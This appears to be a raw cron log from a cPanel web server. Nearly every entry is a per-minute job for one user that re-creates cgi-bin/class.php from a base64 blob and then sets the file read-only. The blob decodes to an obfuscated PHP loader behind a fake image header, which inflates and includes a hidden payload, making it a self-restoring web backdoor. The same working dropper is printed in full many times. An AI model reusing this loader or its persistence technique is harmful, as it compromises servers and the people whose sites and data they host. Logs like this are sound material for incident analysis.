Nov 11 22:00:01 server CROND[26370]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:01:01 server CROND[27243]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 22:01:01 server CROND[27244]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:01:01 server run-parts(/etc/cron.hourly)[27243]: starting 0anacron
Nov 11 22:01:01 server run-parts(/etc/cron.hourly)[27256]: finished 0anacron
Nov 11 22:02:01 server CROND[28065]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:03:01 server CROND[28879]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:04:01 server CROND[29722]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:05:01 server CROND[30635]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:05:01 server CROND[30634]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 22:05:01 server CROND[30640]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 22:05:01 server CROND[30641]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 22:06:01 server CROND[31720]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:07:01 server CROND[32534]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:08:01 server CROND[690]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:09:01 server CROND[1177]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:09:01 server CROND[1176]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 22:10:01 server CROND[1818]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:10:01 server CROND[1819]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 22:10:01 server CROND[1821]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 22:10:01 server CROND[1820]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 22:11:01 server CROND[2816]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:12:01 server CROND[3625]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:12:01 server CROND[3626]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
